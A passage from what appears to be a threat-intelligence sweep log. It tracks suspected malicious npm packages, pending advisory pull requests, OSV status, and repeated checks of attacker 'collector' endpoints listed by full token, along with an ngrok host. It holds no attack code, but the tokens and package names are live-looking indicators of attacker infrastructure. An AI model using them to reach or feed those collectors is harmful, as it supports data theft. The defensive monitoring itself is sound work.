s70bgesazvr7qu260dzlumnp1g77vxjm→b1v4ozdk4rf44qzr0ntlv6zjjgigz (200/55 B), vlkeuh6ddy5a4xg9egdo8p1sfjlb91xq→…kgigz (200/55 B); wave-7 89f9l78ho7p2kt43a5mgxsi7syypode13→t4qf28…zjjigigz (200/56 B); puffnetwork-kin 211opddcs2njayzu1fb98149s0yrmia7→egzgr7in…zjjgjgz (200/55 B); legacy 1vxhqpj0prv8bkjrvsdnumbvemkd83ws→8n0l3yjy…zjjgigz (200/55 B); wave-9 3z3m8pklr6jii5uhsorwmxf0trzlnbb0→b1v4ozdk…zjmgigz (200/55 B). Six-of-six sampled ARMED byte-identical across FIVE prefixes = SEVENTH consecutive full-hot check; the never-dark streak holds. FLEET. singpass claim-test.ngrok.app 200 ≈61 h; hstdemotest FLIP ELEVEN EIGHTEENTH (npm packument+1.3.0 tarball 200 both names two points - after my first dial hit PyPI and got four-lane 404 = wrong-registry law EIGHTH); vamp-mcp latest 0.2.0 sixteenth; jaysift latest 1.4.1 ninth (bare name; @jaysift/sdk was my own invented coordinate); qimsdk seal fifth; twin OSV {} ninth. Monitor forward:* FLEET-59; #1804 merge = the estate's first paper (≈7.5 h and counting); wave-10 counters + fifth preview-label watch; datepickerror tarball fourth read; ltdnpm2 census; 20119 IOC-set clock.

November 18 (332nd sweep, ~22:2x-23:0x UTC): FLEET-59 - EIGHTH CONSECUTIVE FULL-HOT CHECK, AND THE FILED ESTATE CROSSES NINE HOURS STILL ADVISORY-FREE

Zero-paper census at ≈23:0xZ. OSV name-queries {} ALL THREE #1804 hosts for the FOURTH consecutive sweep: @clikwraps/navigate (packument 200), react-native-datepickerror (99.9.1 tarball 200/359 B sha 54fc4ed9… FOURTH consecutive read = the byte has been served four reads running, the eaten-byte episode reads as a weather event in the rear-view), @basis-theory-elements/api-client (≈7.9 h zero paper on ltdnpm2). #1804 (rbnfrhnr) OPEN updated_at 15:34:30Z = UNMERGED ≈9.9 h - the estate's first paper is now a nine-hour story and the +13 m merge-gate clock has not started. #1805/#1806 OPEN; #1807 404 again at the pulls route = weather persists; #1808+ 404. 20119 iocs still absent/aliases None, modified frozen 06:30:06Z ≈16.5 h. Counters. 4.0.9 200/1,950 B control holds; 4.0.10/4.0.11/4.1.0/4.1.1/4.1.2/4.1.3 ALL 403 = NO wave-10 ≈8 h post-burst (the sixth counter was dialed for the first time this read, answered 403 like its siblings; the .0-skip rule still untested against a real wave). Fleet-59 (fifty-ninth collector check, streak 58). Canonical full-token re-GETs (ledger-exact token column): wave-8 s70bgesazvr7qu260dzlumnp1g77vxjm→b1v4ozdk4rf44qzr0ntlv6zjjgigz (200/55 B), vlkeuh6ddy5a4xg9egdo8p1sfjlb91xq→…kgigz (200/55 B); wave-7 89f9l78ho7p2kt43a5mgxsi7syypode13→t4qf28itnnjc2yu4334d72zjjigigz (200/56 B); puffnetwork-kin 211opddcs2njayzu1fb98149s0yrmia7→egzgr7in9f7zoud2mpko0gzjjgjgz (200/55 B); legacy 1vxhqpj0prv8bkjrvsdnumbvemkd83ws→8n0l3yjy9840z4tan9r91vzjjgigz (200/55 B); wave-9 3z3m8pklr6jii5uhsorwmxf0trzlnbb0→b1v4ozdk4rf44qzr0ntlv6zjmgigz (200/55 B). Six-of-six sampled ARMED byte-identical across FIVE prefixes = EIGHTH consecutive full-hot check; no listener has EVER gone dark since the ledger began - steady state re-confirmed at hour eight of the quiet-burst window. FLEET. singpass claim-test.ngrok.app 200 ≈63 h; hstdemotest FLIP ELEVEN NINETEENTH (npm two-point, coordinates honored after the 331st's wrong-registry lesson); vamp-mcp latest 0.2.0 SEVENTEENTH; jaysift 1.5.0 un-tripped TENTH (re-serve tripwire quiet ten reads); wppconnect latest 2.4.6 re-quoted at read; qimsdk seal SIXTH (simple/ 200, JSON 404). Monitor forward:* FLEET-60; #1804 merge = the estate's first paper (nine hours and counting); wave-10 counters + fifth preview-label watch; datepickerror tarball fifth read; ltdnpm2 census; 20119 IOC-set clock.

November 19 (333rd sweep, ~00:2x-00:5x UTC): FLEET-60 - NINTH CONSECUTIVE FULL-HOT CHECK, THE FILED ESTATE CROSSES ELEVEN HOURS ADVISORY-FREE, AND THE COUNTERS STAY SHUT TEN HOURS AFTER WAVE 9

Zero-paper census at ≈00:4xZ. OSV name-queries {} ALL THREE #1804 hosts for the FIFTH consecutive sweep: @clikwraps/navigate (packument 200), react-native-datepickerror (99.9.1 tarball 200/359 B sha 54fc4ed9… FIFTH consecutive read), @basis-theory-elements/api-client (≈9.5 h zero paper on ltdnpm2). #1804 (rbnfrhnr) OPEN unmerged updated_at 15:34:30Z = ≈11.8 h; #1802 OPEN ≈21 h with updated_at == created = never even touched; #1803 ≈13 h, 2025-47143 still ranges None; #1807-#1810 404. 20119 iocs absent/aliases None, modified frozen 06:30:06Z ≈18.3 h = IOC clock in day two. Counters. 4.0.10/4.0.11/4.1.0/4.1.1/4.1.2/4.1.3/4.1.4/4.2.0 ALL 403 = NO wave-10 ≈10 h post-burst; two counters (4.1.4, 4.2.0) dialed for the first time this read and answered 403 like their siblings. Fleet-60 (sixtieth collector check, streak 59). Canonical full-token re-GETs (ledger-exact token column): wave-8 s70bgesazvr7qu260dzlumnp1g77vxjm→b1v4ozdk4rf44qzr0ntlv6zjjgigz (200/55 B), vlkeuh6ddy5a4xg9egdo8p1sfjlb91xq→b1v4ozdk4rf44qzr0ntlv6zjjkgigz (200/55 B); wave-7 89f9l78ho7p2kt43a5mgxsi7syypode13→t4qf28itnnjc2yu4334d72zjjigigz (200/56 B); puffnetwork-kin 211opddcs2njayzu1fb98149s0yrmia7→egzgr7in9f7zoud2mpko0gzjjgjgz (200/55 B); legacy 1vxhqpj0prv8bkjrvsdnumbvemkd83ws→8n0l3yjy9840z4tan9r91vzjjgigz (200/55 B); wave-9 3z3m8pklr6jii5uhsorwmxf0trzlnbb0→b1v4ozdk4rf44qzr0ntlv6zjmgigz (200/55 B). Six-of-six sampled ARMED byte-identical across FIVE prefixes = NINTH consecutive full-hot check; no listener has EVER gone dark since the ledger began. FLEET. singpass claim-test.ngrok.app 200 ≈65 h; hstdemotest FLIP ELEVEN TWENTIETH (npm packument + 1.3.0 tarball 200 BOTH names); vamp-mcp latest 0.2.0 EIGHTEENTH; jaysift 1.5.0 un-tripped ELEVENTH; wppconnect latest 2.4.6 re-quoted at read; qimsdk seal SEVENTH (SERIAL 43825296 byte-stable = the quarantine page is cacheable content re-attested). Monitor forward:* FLEET-61; #1804 merge = the estate's first paper; wave-10 counters + fifth preview-label watch; datepickerror sixth read; ltdnpm2 census; 20119 IOC clock.